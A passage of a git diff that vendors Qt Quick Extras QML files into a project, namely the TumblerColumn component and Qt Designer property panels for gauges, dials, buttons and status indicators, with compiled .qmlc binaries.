+** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TumblerColumn + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \brief A column within a tumbler. + + TumblerColumn represents a column within a tumbler, providing the interface + to define the items and width of each column. + + \code + Tumbler { + TumblerColumn { + model: [1, 2, 3] + } + + TumblerColumn { + model: ["A", "B", "C"] + visible: false + } + } + \endcode + + You can create a custom appearance for a Tumbler by assigning a + \l {TumblerStyle}. +*/ + +QtObject { + id: tumblerColumn + + /*! \internal */ + property Item __tumbler: null + + /*! + \internal + + The index of this column within the tumbler. + */ + property int __index: -1 + + /*! + \internal + + The index of the current item, if the PathView has items instantiated, + or the last current index if it doesn't. + */ + property int __currentIndex: -1 + + property int accessibleRole: Accessible.ColumnHeader + + /*! + \qmlproperty int TumblerColumn::currentIndex + + This read-only property holds the index of the current item for this + column. If the model count is reduced, the current index will be + reduced to the new count minus one. + + \sa {Tumbler::currentIndexAt}, {Tumbler::setCurrentIndexAt} + */ + readonly property alias currentIndex: tumblerColumn.__currentIndex + + /*! + This property holds the model that provides data for this column. + */ + property var model: null + + /*! + This property holds the model role of this column. + */ + property string role: "" + + /*! + The item delegate for this column. + + If set, this delegate will be used to display items in this column, + instead of the + \l {TumblerStyle::}{delegate} + property in \l {TumblerStyle}. + + The \l {Item::implicitHeight}{implicitHeight} property must be set, + and it must be the same for each delegate. + */ + property Component delegate + + /*! + The highlight delegate for this column. + + If set, this highlight will be used to display the highlight in this + column, instead of the + \l {TumblerStyle::}{highlight} + property in \l {TumblerStyle}. + */ + property Component highlight + + /*! + The foreground of this column. + + If set, this component will be used to display the foreground in this + column, instead of the + \l {TumblerStyle::}{columnForeground} + property in \l {TumblerStyle}. + */ + property Component columnForeground + + /*! + This property holds the visibility of this column. + */ + property bool visible: true + + /*! + This read-only property indicates whether the item has active focus. + + See Item's \l {Item::activeFocus}{activeFocus} property for more + information. + */ + readonly property bool activeFocus: { + if (__tumbler === null) + return null; + + var view = __tumbler.__viewAt(__index); + return view && view.activeFocus ? true : false; + } + + /*! + This property holds the width of this column. + */ + property real width: TextSingleton.implicitHeight * 4 +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qmlc new file mode 100644 index 00000000..c922b77c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qml new file mode 100644 index 00000000..f718b1b3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qml @@ -0,0 +1,114 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("CircularGauge") + + SectionLayout { + Label { + text: qsTr("Value") + tooltip: qsTr("Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.value + minimumValue: backendValues.minimumValue.value + maximumValue: backendValues.maximumValue.value + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Minimum Value") + tooltip: qsTr("Minimum Value") + } + SecondColumnLayout { + SpinBox { + id: minimumValueSpinBox + backendValue: backendValues.minimumValue + minimumValue: 0 + maximumValue: backendValues.maximumValue.value + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Maximum Value") + tooltip: qsTr("Maximum Value") + } + SecondColumnLayout { + SpinBox { + id: maximumValueSpinBox + backendValue: backendValues.maximumValue + minimumValue: backendValues.minimumValue.value + maximumValue: 1000 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Step Size") + tooltip: qsTr("Step Size") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.stepSize + minimumValue: 0 + maximumValue: backendValues.maximumValue.value + } + ExpandingSpacer { + } + } + } + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qmlc new file mode 100644 index 00000000..f35278a6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qml new file mode 100644 index 00000000..8972c5d3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("DelayButton") + + SectionLayout { + Label { + text: qsTr("Text") + tooltip: qsTr("Text") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.text + showTranslateCheckBox: true + implicitWidth: 180 + } + ExpandingSpacer { + } + } + +// Label { +// text: qsTr("Disable Button") +// tooltip: qsTr("Disable Button") +// } +// SecondColumnLayout { +// CheckBox { +// backendValue: backendValues.disabled +// implicitWidth: 180 +// } +// ExpandingSpacer { +// } +// } + + Label { + text: qsTr("Delay") + tooltip: qsTr("Delay") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.delay + minimumValue: 0 + maximumValue: 60000 + } + ExpandingSpacer { + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qmlc new file mode 100644 index 00000000..c602f7a0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qml new file mode 100644 index 00000000..645014fc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qml @@ -0,0 +1,131 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Dial") + + SectionLayout { + Label { + text: qsTr("Value") + tooltip: qsTr("Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.value + minimumValue: backendValues.minimumValue.value + maximumValue: backendValues.maximumValue.value + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Minimum Value") + tooltip: qsTr("Minimum Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.minimumValue + minimumValue: -1000 + maximumValue: backendValues.maximumValue.value + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Maximum Value") + tooltip: qsTr("Maximum Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.maximumValue + minimumValue: backendValues.minimumValue.value + maximumValue: 1000 + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Step Size") + tooltip: qsTr("Step Size") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.stepSize + minimumValue: 0 + maximumValue: backendValues.maximumValue.value + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Tickmarks Visible") + tooltip: qsTr("Tickmarks Visible") + } + SecondColumnLayout { + CheckBox { + backendValue: backendValues.tickmarksVisible + } + ExpandingSpacer { + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qmlc new file mode 100644 index 00000000..9bc7e59c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qml new file mode 100644 index 00000000..0ed417cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qml @@ -0,0 +1,134 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Gauge") + + SectionLayout { + + Label { + text: qsTr("Value") + tooltip: qsTr("Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.value + minimumValue: backendValues.minimumValue.value + maximumValue: backendValues.maximumValue.value + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Minimum Value") + tooltip: qsTr("Minimum Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.minimumValue + minimumValue: 0 + maximumValue: backendValues.maximumValue.value + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + + Label { + text: qsTr("Maximum Value") + tooltip: qsTr("Maximum Value") + } + SecondColumnLayout { + SpinBox { + backendValue: backendValues.maximumValue + minimumValue: backendValues.minimumValue.value + maximumValue: 1000 + stepSize: 0.01 + decimals: 2 + } + ExpandingSpacer { + } + } + +// Label { +// text: qsTr("Orientation") +// tooltip: qsTr("Orientation") +// } +// SecondColumnLayout { +// ComboBox { +// id: orientationComboBox +// backendValue: backendValues.orientation +// implicitWidth: 180 +// model: ["Vertical", "Horizontal"] +// } +// ExpandingSpacer { +// } +// } + +// Label { +// text: qsTr("Tickmark Alignment") +// tooltip: qsTr("Tickmark Alignment") +// } + +// SecondColumnLayout { +// ComboBox { +// backendValue: backendValues.orientation +// implicitWidth: 180 +// model: orientationComboBox.currentText === "Vertical" ? ["AlignLeft", "AlignRight"] : ["AlignTop", "AlignBottom"] +// } +// ExpandingSpacer { +// } +// } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qmlc new file mode 100644 index 00000000..c4ee8a40 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qml new file mode 100644 index 00000000..461e233a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 +import QtQuick.Controls 1.1 as Controls +import QtQuick.Controls.Styles 1.1 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Picture") + + SectionLayout { + Label { + text: qsTr("Source") + tooltip: qsTr("Source") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.source + showTranslateCheckBox: false + implicitWidth: 180 + } + ExpandingSpacer { + } + } + } + } + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Color") + + ColorEditor { + caption: qsTr("Color") + backendValue: backendValues.color + supportGradient: false + } + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qmlc new file mode 100644 index 00000000..b819269b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qml new file mode 100644 index 00000000..f2e6a766 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qml @@ -0,0 +1,103 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 +import QtQuick.Controls 1.1 as Controls +import QtQuick.Controls.Styles 1.1 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("PieMenu") + + SectionLayout { + Label { + text: qsTr("Trigger Mode") + tooltip: qsTr("Trigger Mode") + } + SecondColumnLayout { + // Work around ComboBox string => int problem. + Controls.ComboBox { + id: comboBox + + property variant backendValue: backendValues.triggerMode + + property color textColor: "white" + implicitWidth: 180 + model: ["TriggerOnPress", "TriggerOnRelease", "TriggerOnClick"] + + QtObject { + property variant valueFromBackend: comboBox.backendValue + onValueFromBackendChanged: { + comboBox.currentIndex = comboBox.find(comboBox.backendValue.valueToString); + } + } + + onCurrentTextChanged: { + if (backendValue === undefined) + return; + + if (backendValue.value !== currentText) + backendValue.value = comboBox.currentIndex + } + + style: CustomComboBoxStyle { + textColor: comboBox.textColor + } + + ExtendedFunctionButton { + x: 2 + y: 4 + backendValue: comboBox.backendValue + visible: comboBox.enabled + } + } + ExpandingSpacer { + } + } + } + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qmlc new file mode 100644 index 00000000..e087c0b0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qml new file mode 100644 index 00000000..9de61717 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("StatusIndicator") + + SectionLayout { + Label { + text: qsTr("Active") + tooltip: qsTr("Active") + } + SecondColumnLayout { + CheckBox { + backendValue: backendValues.active + implicitWidth: 100 + } + ExpandingSpacer { + } + } + } + } + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Color") + + ColorEditor { + caption: qsTr("Color") + backendValue: backendValues.color + supportGradient: false + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qmlc new file mode 100644 index 00000000..79cc148e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qml new file mode 100644 index 00000000..3a1ecebd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qml @@ -0,0 +1,95 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.1 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.0 + +Column { + anchors.left: parent.left + anchors.right: parent.right + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("ToggleButton") + + SectionLayout { + Label { + text: qsTr("Text") + tooltip: qsTr("Text") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.text + showTranslateCheckBox: true + implicitWidth: 180 + } + ExpandingSpacer { + } + } + +// Label { +// text: qsTr("Disable Button") +// tooltip: qsTr("Disable Button") +// } +// SecondColumnLayout { +// CheckBox { +// backendValue: backendValues.disabled +// implicitWidth: 180 +// } +// ExpandingSpacer { +// } +// } + + Label { + text: qsTr("Checked") + tooltip: qsTr("Checked") + } + SecondColumnLayout { + CheckBox { + backendValue: backendValues.checked + implicitWidth: 180 + } + ExpandingSpacer { + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qmlc new file mode 100644 index 00000000..58a5a299 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon.png 